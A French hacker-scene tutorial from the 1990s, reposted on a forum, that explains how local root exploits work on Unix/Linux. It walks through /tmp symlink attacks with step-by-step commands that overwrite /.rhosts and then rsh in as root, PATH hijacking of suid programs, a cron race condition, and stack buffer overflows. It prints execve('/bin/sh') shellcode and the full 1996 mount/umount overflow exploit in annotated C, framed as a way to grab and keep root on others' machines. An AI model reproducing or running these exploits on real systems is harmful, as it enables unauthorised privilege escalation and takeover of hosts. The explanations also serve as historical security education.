Comment comprendre ce qu'on fait sur un systeme. Document attribué par imbooks 217.
posté le Sun 24 Nov par Mikiew
Introduction aux
exploits
Introduction-------------------------------------------------------------------
Ouaiiis
je suis root c kewl. Reaction typique du mec moyen dans #hack qui ne
sait
faire que deux choses: echanger des passwords et executer des exploits.
Oui,
mais. J'ai toujours ete tres vexe par le fait d'etre arrive si tard dans
le
monde du hack... Tout est actuellement protege et corrige, et il en
resulte
une linearite dans le hack qui reste assez deplaisante : on se logge,
on
utilise l'exploit qu'on trouve n'importe ou... Et on a un root sur une
becanne.
La difference maintenant entre bon hacker et petit rigolo, c'est que
le petit
rigolo se fait reprendre son root dans la semaine qui suit son
acquisition,
alors que le "bon hacker" l'exploite inlassablement pendant des
mois.. Puis
l'abandonne pour un autre.. Bien entendu le 'vrai bon hacker'
-sic- ne fait
pas que chopper des roots a droite a gauche... =) Mais la n'est
pas la
question..
Devant ce manque d'imagination assez deplorable chez la
plupart des 'hackers
a la mode', je me propose d'expliquer le fonctionnement
de trois types
d'exploits tres classiques dans le hack, que chacun de vous a
surement deja
utilise plus d'une fois... =) Je m'attarderai surtout sur le
dernier type,
le plus recent et celui qui genere exploit sur exploit en ce
moment, j'ai
plus ou moins nomme le buffer
overflow.
drwxrwxrwt---7-root-----root---------2048-Mar--2-12:38-/tmp/-------------------
Toute
une serie d'exploits utilise le fait que /tmp est world writable.
/tmp est
utilise par un grand nombre de programmes suid pour y stocker des
fichiers
temporaires, fichiers qui sont souvent ecrits avec les permissions
du root...
Le truc dans ce cas est assez simple: on passe par un lien symbolik.
Un lien
symbolique peut etre mis par n'importe qui, et c'est une fonction unix
que
beaucoup de roots regrettent encore aujourd'hui. Il permet a un user
normal
de faire un lien entre un fichier du root (par exemple /.rhosts) et un
fichier
determine par l'user (par exemple /tmp/.rhosts). L'interet de cette
chose est
que toute modification de ce fichier par un user amenera, si l'user
en a le
droit, a la modification du fichier linke... Par exemple, si l'user
arrive
a ecrire dans /tmp/.rhosts, alors il modifiera /.rhosts.
L'interet
de la chose est qu'on peut choisir un nom pour le fichier "image",
le lien
symbolique: par exemple,
ln -s /.rhosts /tmp/.Xlock donnera au fichier
/tmp/.Xlock les memes proprietes
que le fichier /.rhosts, et toute
modification de /tmp/.Xlock par un process
root entrainera une modification
de /.rhosts tout a fait identique.
On voit donc d'ici l'interet de
l'exploit: en prevoyant qu'un process root
ecrira un fichier de nom AGAGA sur
le disque a un endroit precis ou nous, user
normal, avons acces, et en
sachant que l'on peut determiner ce qui va etre
place dans AGAGA, on peut
modifier un fichier du root en placant un lien
symbolique de ce fichier vers
AGAGA. Il suffit que le programme suid ne
verifie pas l'existence d'AGAGA
avant d'ecrire dedans... Un exemple il y a
un petit bout de temps deja avec
XF86 sous linux:
beigebox:/tmp> ln -s /var/adm/utmp
.tX0-lock
beigebox:/tmp> startx
Fatal server error:
Server is
already active for display 0
If this server is no longer running, remove
/tmp/.tX0-lock
and start again.
- le fichier .tX0-lock sert de lock a
XF86 et lui permet de savoir si un
server tourne deja et si oui, sous kel
process.
beigebox:/tmp> cat /var/adm/utmp
116
beigebox:/tmp>
Le probleme venait du fait que XF86 verifiait uniquement si le fichier
.tX0-lock appartenait a root avant d'ecrire dedans son numero de
process,
puis concluait qu'un serveur etait deja lance et abandonnait son
lancement.
Du coup, il etait possible d'ecrire n'importe quoi dans n'importe
quel fichier
appartenant a root en passant par ce lien...
Une autre
source d'exploits bien connue passait par le fait que sur certains
systemes
mal administres, le repertoire /tmp etait drxwrxwrxw, c'est a dire
que tout
le monde avait la possibilite d'enlever un fichier de ce repertoire.
Un seul
exemple suffira: prenons par exemple mgetty qui, sur mon systeme,
cree un
fichier de log log_mg.ttyS2. Il contient des chaines d'init de modem
et donc
par endroit, un "+ +". La meilleure maniere de chopper le root sur un
systeme
utilisant mgetty est donc la suivante dans ce cas :
beigebox:/tmp> rm
log_mg.ttyS2
rm: remove `log_mg.ttyS2, overriding mode 0644?
y
beigebox:/tmp> ln -s /.rhosts log_mg.ttyS2
[attendre une arrivee de
fax/appel..]
beigebox:/tmp> rsh localhost -l root
beigbeox:~#
whoami
root
beigebox:~#
Le probleme du /tmp sans tiny bit (-t-),
c'est qu'on peut ainsi effacer
kel fichier d'un programme suid root en cours
pour le remplacer par n'importe
quoi.. De ce fait on peut facilement imaginer
un exploit pour chopper le root
sur la becanne sans grand probleme...
(sendmail, rdist,
...).
------execve("ls",0,0);--------------------------------------------------------
Un
autre grand probleme sous unix qui a suscite grand nombre d'exploit est
le
classique appel a un programme depuis un programme suid sans specifier le
path
de ce dernier.. (voir doom_exploit.sh =). Dans ce cas, n'importe kel
user peut
faire executer n'importe quelle commande root a ce programme suid
en suivant
la methode expliquee quelques articles plus haut... C'est a dire
mettre son
path sur /tmp par exemple, et creer un script executable 'ls' ou
autre qui
contiendrait des commandes comme un /bin/chmod 04755 /bin/sh...
-----Qu'est-ce-qu'un-race-?----------------------------------------------------
Je
ne m'etendrais pas sur ce sujet car il est tres large. Le race est, comme
son nom l'indique, une "course" contre le systeme, visant a faire effectuer
a
ce dernier deux taches en meme temps par exemple, a le mettre dans une
situtation particuliere dans laquelle il est exploitable. Par exemple,
sachant
que dans les crontabs du root, il se trouve un 'find *guru* -exec rm
-rf {}',
le but du race serait de creer le fichier guru, puis au moment ou le
find vient
de le trouver, et ou il le passe dans la variable {}, faire un
symbolic link de
ce fichier guru vers un repertoire arbitraire comme /etc, ou
/usr. Ceci permet
a quiconque de detruire un fichier appartenant au root sur
le systeme, ce qui
n'est pas si mal que ca dans le fond... (une telle
condition revient en gros
a un /tmp drwxrxwrwx). Non, je ne delire pas, une
telle aberation s'est bien
trouvee dans les crontabs par defaut de la RedHat
2.x...
-----strcpy(buffer,argv[1]);---------------------------------------------------
Le
plus joli des exploits. Le buffer overflow. Celui qui parait le plus
propre
et efficace... Une compilation, une execution, un root et pas de
traces...
Quand on compare ca a un psrace ou un mail exploit de sunos, qui,
quand ils
foirent, foutent des centaines de mails au root accompagnes de core
dans tous
les sens, on est plutot heureux de voir que ca a ete invente...
=)
Comment ca marche ? Il faut tout d'abord que nous comprenions le principe
d'un
appel de fonction... Sous linux (je prendrai cet exemple mais cela est
valable
sous beaucoup d'Os..), et sur un 80386 en general, on considere trois
zones de
donnees independantes: le segment de donnees, ou sont stockees des
valeurs
a adresse constante lors de l'initialisation des programmes, le
segment de code
ou se trouve le code meme du programme, et le segment de pile
(stack en anglais)
ou sont passees des variables pour passages temporels de
donnees. Nous nous
interessons ici au segment de stack. Son architecture,
sur un 386, est telle
que la partie haute de la memoire ( -> FFFFFFFF)
correspond au 'fond' de la
pile (SP -> 0) et que lorsqu'on ajoute des
donnees dans la pile, ces donnees
sont passes en dessous dans la memoire. Les
deux instructions utilisees
en majorite par la pile sont PUSH et POP. PUSH
permet d'inclure une nouvelle
valeur dans la pile. POP en retire une. A tout
moment, un pointeur de pile (SP)
est mis a jour et correspond a la partie la
plus basse de la pile, c'est a dire
a la zone de depart du dernier element
pose dans la pile. Ah oui, j'oubliais.
Une connaissance minimale de
l'assembleur semble requise pour bien comprendre
ce chapitre =)... Voici un
shema representant la pile sur un pc, au fur et a
mesure qu'on y entre des
valeurs:
PUSH "123"
[ 123]
PUSH "ABCDEFG"
[
ABCDEFG123]
POP AX ABCD -> AX (4)
[ EFG123]
Lorsqu'on
PUSH des valeurs dans la pile, elles sont donc ajoutees comme sur
le shema:
SP est decremente de la valeur de cette variable, pour qu'elle aie
la place
de se placer dans la pile sans "bouffer" les autres, puis la variable
est
posee dans la pile a l'offset SP. Lorsqu'on POP un registre, comme AX=4b,
on
retire 4 bytes de la pile et SP est incremente de 4. Nous sommes ici en
32
bits.. J'espere que le principe de la pile, "premier entre dernier
sorti",
est bien compris car il est determinant pour la suite...
Lors
d'un call, les variables passees a la fonction et que la fonction doit
nous
renvoyer doivent etre passees de l'une a l'autre d'une maniere souple.
Nous
utilisons pour cela la pile (en fait c'est le compilo qui ne nous laisse
pas
le choix =). Voici un exemple de traduction de ce que je viens d'essayer
de
dire d'une maniere claire et comprehensible:
function(a,b);
push
b;
push a;
call __function();
pop ax;
pop bx;
Et dans ax nous
avons la valeur a renvoyee par la fonction, et de meme dans
bx nous recevons
la valeur b. Est-ce bien clair jusqu'ici ? Compliquons la
chose.. Lors du
call de la fonction, il se passe ceci:
__function:
(instructions)
(relatives a)
(la fonction)
RET
Le RET est une
instruction qui va donner a notre fonction l'ordre de revenir
a l'endroit ou
on l'a appele. Evidemment comme intel aime bien nous compliquer
la vie, RET
va aller chercher l'adresse de retour dans la pile! Voici ce qui
se passe en
realite:
Nous sommes a l'offset CS:IP. Le CS reste fixe, c'est notre
segment. IP est
l'adresse memoire correspondant a l'instruction push
b:
Instruction Etat de la pile
push b; [ BBBB]
push a; [
AAAABBBB]
call __function [ RRRRAAAABBBB]
fct: (instructions) [
RRRRAAAABBBB]
fct: RET [ AAAABBBB]
pop ax; [ BBBB]
pop bx; [
]
RRRR devient l'adresse de retour du call, l'ip rendu par le RET.
Bon
mais tout cela serait trop simple si il en etait ainsi =)
En realite, un
pointeur de pile un peu plus evolue est utilise par le
processeur et agit en
fait comme un offset sur SP, il s'agit de BP.
Donc dans ce cas, la pile
contient l'adresse de retour, l'ancien SP, puis
les variables
locales.
lors du call:
push bp
mov sp,bp
sub sp,(taille allouee aux
valeurs locales)
On sauve l'ancien bp, SP prend sa valeur et on tient compte
de la place allouee
aux valeurs locales....
lors du ret:
mov
bp,sp
pop bp
On recupere notre BP, c'est SP qui determine sa position....
Ensuite le ret
prendra sa valeur dans la pile et nous retournera au CS:IP
suivant l'appel.
N'allons pas compliquer les choses a ce point,
attaquons tout de suite le
cote overflow de la chose... Disons maintenant que
notre __function accepte
un buffer d'une taille de 16 bytes. Lors de
l'initialisation de la fonction,
une place dans la pile va etre allouee a ce
buffer, notee ici par des X:
call __function [XXXXXXXXXXXXXXXX
RRRRAAAABBBB]
R represente l'adresse de retour de la fonction a la fin.
Imaginons maintenant
que notre __function, a un moment donne, copie le buffer
b dans le buffer
XXX... voici le resultat pendant l'execution de la
__function:
__function [BBBBXXXXXXXXXXXX RRRRAAAABBBB]
Mais la
taille de B n'est pas limitee du tout: si jamais B a une taille disons
un peu
trop grosse voici ce qu'il risk de se passer:
__function
[BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBAAABBBBBBBBBBBBBBBBBB...BB]
Le
buffer XXX est largement depasse et vient mordre sur la valeur de
retour
RRRR. C'est ca qu'on appelle un buffer overflow. Maintenant le
principe du
buffer overflow devient plus clair: si on arrive a donner a la
fin du buffer
BBBB une valeur qui pointe vers une fonction a nous, qui
execute un shell,
alors au moment du RET, __function partira directement sur
notre shell au
lieu de revenir vers l'adresse originale RRRR. En fait, pour
les buffer
overflows "ou y'a dla place", on utilise ce qui est appele un
EGG, c'est a dire
un morceau d'assembleur qui execute un shell suivi d'une
grande serie d'octet
ayant pour valeur l'adresse de l'EGG: en remplissant
ainsi le buffer XXX,
lors du RET, c'est le debut du buffer XXX qui est
execute soit notre EGG et
donc notre SHELL. Calculer l'offset de debut de
l'EGG etant assez complique,
on remplit environ la moitie de l'EGG par des
NOPs (0x90,E accent grave), ce
qui permet un taux d'erreur assez appreciable:
les NOPs sont des instructions
qui ne font rien justement, et si on arrive a
aterrir quelque part au milieu
de ces NOPs avec notre RET modifie, alors on
a gagne la partie, le shell est
a nous, et pour peu que le programme soit
suid, le shell est root...
Voici un shema illustrant ce qu'il se passe: (pour
plus de place on va supposer
ici qu'on ne push que la valeur B,contenant
notre EGG, avant d'appeler la
fonction)
N=NOP, E=code de notre shell,
A=adresse du shell, R=adresse d'origine du RET.
push b;
__function
(appel de la fonction)
[XXXXXXXXXXXX
RRRRNNNNNNNEEEEEEEEEEEEEEEEEEEAAAAAAAAAAAAAAAAAAAAA]
(ici, notre fonction
copie B dans XXX, soit notre EGG dans XXX: c'est CA
qui va determiner
l'exploit faisable ou
pas)
[NNNEEEEEEEEEEEEEEEEAAAAAAAAAAAAAAAAAAAA.......]
/
Arrivee ICI
~~~~~~ , le RET nous ramene dans les N, au debut du shell.
Notre code shell
est donc lance...
Voila, j'espere que cela fut plus ou moins clair... =)
Si vous voulez plus de
details sur le sujet, je vous recommande vivement
l'article de Aleph One dans
Phrack49 qui est tout simplement excellent, et
qui explique assez bien la
chose... =) j'avoue que je suis assez mauvais en
explications huh =)
En bonus, voici le contenu de l'EGG generique (c'est
le code qui execute le
shell) que vous trouverez d'ailleurs en tete de tous
les exploits buff overflow
sous unix...
u_char execshell[]
=
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
En
fait, il fait appel a l'int 0x80 (\xcd\x80 qui permet d'executer un
programme
lorsque ax=0xb,bx=cx=adresse de la chaine a executer), en faisant
pointer bx
vers sa fin, c'est a dire ici vers /bin/sh... Comme vous pouvez
le remarquer,
tout 0x00 a ete enleve de l'EGG et habilement remplace par des
xor ax,ax et
d'autres astuces, car une copie de buffer s'arrete a la
rencontre d'un 0x00...
Ce qu'il faut faire pour exploiter cet EGG: le mettre
dans le buffer a
overflower.. trouver son adresse (__asm get esp...) et en
deduire l'adresse
qu'il aura dans le programme a exploiter, (ce qui inclut
donc l'existance d'un
offset), puis mettre avant lui une 50aine de NOPS
(selon la taille necessaire
pour flooder le buffer, le nombre de NOPS peut
varier...) et apres lui quelques
longs ayant pour valeur l'adresse du debut
du buffer justement, c a dire
esp - offset, ou offset est un coup de moule
total =)...
Voici le mount exploit (classique!) et son
explication:
/* Mount Exploit for Linux, Jul 30
1996
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
::::::::""`````""::::::""`````""::"```":::'"```'.g$$S$'
`````````"":::::::::
:::::'.g#S$$"$$S#n. .g#S$$"$$S#n. $$$S#s s#S$$$ $$$$S".
$$$$$$"$$S#n.`::::::
::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ .g#S$$$
$$$$$$ $$$$$$ ::::::
::::: $$$$$$ gggggg $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$
$$$$$$ $$$$$$ ::::::
::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$
$$$$$$ $$$$$$ ::::::
::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$
$$$$$$ $$$$$$ ::::::
::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$
$$$$$$ $$$$$$ ::::::
::::::`S$$$$s$$$$S' `S$$$$s$$$$S' `S$$$$s$$$$S' $$$$$$$
$$$$$$ $$$$$$
::::::
:::::::...........:::...........:::...........::.......:......:.......::::::
:::::::::::::::::::::::::::::::::::::::::::::::;::::::::::::::::::::::::::::
Discovered
and Coded by Bloodmask & Vio
Covin Security 1996
*/
#include
<unistd.h>
#include <stdio.h>
#include
<stdlib.h>
#include <fcntl.h>
#include
<sys/stat.h>
#define PATH_MOUNT "/bin/umount" /* Ca fait bien de
passer par des
#define BUFFER_SIZE 1024 Defines dans un code c =)
*/
#define DEFAULT_OFFSET 50
u_long get_esp()
{
__asm__("movl
%esp, %eax"); /* Cette fonction retourne le SP courant.
}
main(int
argc, char **argv)
{
u_char execshell[] = /* Voici notre shellcode
*/
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
char
*buff = NULL;
unsigned long *addr_ptr = NULL;
char *ptr = NULL;
int
i;
int ofs = DEFAULT_OFFSET;
buff = malloc(4096); /* On alloue 4096
bytes pour notre EGG */
if(!buff)
{
printf("can't allocate
memory\n");
exit(0);
}
ptr = buff; /* Le pointeur ptr pointe vers ce
buffer */
memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell)); /* On
remplit le buffer
avec des NOP, en
laissant juste la place
pour le
shellcode */
ptr += BUFFER_SIZE-strlen(execshell); /* Remise du pointeur a la
fin
des NOPS pour pouvoir.... */
for(i=0;i < strlen(execshell);i++)
/* Remplir la suite avec notre shellcode
*/
*(ptr++) =
execshell[i];
addr_ptr = (long *)ptr; /* addr_ptr prend la place de notre
ptr
car il nous faut un long : l'addy
de retour contient 4 bytes */
/* Cette partie va remplir la suite de notre code avec l'adresse de
retour...
On la place 3 fois a la fin du buffer...*/
for(i=0;i <
(8/4);i++)
/* Ici il reste la place pour 3 words. En fait plus
generiquement, il faudrait
faire quelque chose comme for(i=0;i <
[fin];i+=4) */
*(addr_ptr++) = get_esp() + ofs; /* le word pointe par
addr_ptr est
rempli par l'adresse de notre egg
et addr_ptr est incremente
*/
ptr = (char *)addr_ptr;
*ptr = 0; /* Le dernier char doit etre mis a
0
sinon c'est tout le reste de la RAM
qui est copie dans la buffer ! =)
*/
(void)alarm((u_int)0); /* On place une limite dans le temps d'exec..
*/
/* Au cas ou ca merderait.... */
printf("Discovered and Coded by
Bloodmask and Vio, Covin 1996\n");
/* On se la pete pour etre auto-op dans
#hack */
execl(PATH_MOUNT, "mount", buff, NULL);
/* On execute notre
programme avec comme argument
notre EGG */
}
Les programmes dont le
buffer sera exploitable sont les programmes ne
controllant pas la taille des
buffers lors de dumps, par exemple les
programmes qui utilisent strcpy() au
lieu de strncpy() qui est devenu une
regle d'or en matiere de programmation
systeme sous unix...
J'espere que ce fichier vous donnera une autre
opinion de l'exploit... Depuis
que je m'interesse a la question je ne cesse
de decouvrir des bugs dans mon
linux (malheureusement la plupart etant dus a
moi...=) et je passe
ma vie a faire la chasse aux suid non-deja-exploites...
=) Ca devient une
vraie manie, j'y retourne j'ai un probleme avec sendmail...
=]
Mikiew 714(Doc venant de imbooks 217)